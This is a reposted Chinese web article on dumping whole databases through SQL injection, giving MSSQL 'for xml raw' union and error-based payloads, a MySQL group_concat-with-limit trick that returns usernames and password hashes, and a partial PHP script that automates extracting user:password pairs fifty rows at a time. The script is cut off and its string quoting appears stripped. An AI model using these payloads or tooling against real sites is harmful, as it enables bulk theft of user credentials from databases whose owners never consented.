导库技巧

来源:网络 责任编辑:栏目编辑 发表时间:2013-07-01 09:43 点击:

一、MSSQL获取数据:

用的比较多的就是for xml raw了,MSSQL2000都支持的!

注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重复,自动去除重复值):

<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value <row username="admin"/><row username="Anna"/><row username="oldjun"/> to data type int.
当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

二、 MYSQL获取数据:

用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

因为group_concat有个瓶颈,当 group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

其实简单变动下SQL语句即可以实现group_concat与limit连用:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

三、给出部分示例代码(mysql group_concat 50条数据每次):

<?

if ($argc < 3) {
    print_r(
+---------------------------------------------------------------------------+
Usage: php .$argv[0]. start end(end: count/50)
Example:
php .$argv[0]. 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
);
         exit;
     }

    error_reporting(7);
    ini_set(max_execution_time, 0);
   
    $start = $argv[1];
    $over = $argv[2];
   
     for($i=$start;$i<=$over;$i++){
        getdata($i);
     }
   
function getdata($i)
{
    $resp = send($i);
     if ($resp){
        preg_match(#<<<<<<<<<<([^ ]+):([^ ]+)>>>>>>>>>>#, $resp, $value);
       
         if($value){
            $namearr=explode("|||",$value[1]);
            $passarr=explode("|||",$value[2]);
             for($j=0;$j<50;$j++){
                 echo $namearr[$j]."|||".$passarr[$j]." ";
             }
             unset($namearr);
             unset($passarr);
         }else{
         &

    相关新闻>>

      发表评论
      请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
      用户名: 验证码:点击我更换图片
      最新评论 更多>>

      推荐热点

      • Request.ServerVariables 参数大全
      • 执行全文索引时出现权限不足的解决方法
      • 导入excel文件处理流程节点的解决方案
      • 查看sql修改痕迹(SQL Change Tracking on Table)
      • App数据层设计及云存储使用指南
      • PostgreSQL启动过程中的那些事三:加载GUC参数
      • MongoDB安装为Windows服务方法与注意事项
      • Percolator与分布式事务思考(二)
      • 写给MongoDB开发者的50条建议Tip1
      网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
      Copyright © 2008-2015 计算机技术学习交流网. 版权所有

      豫ICP备11007008号-1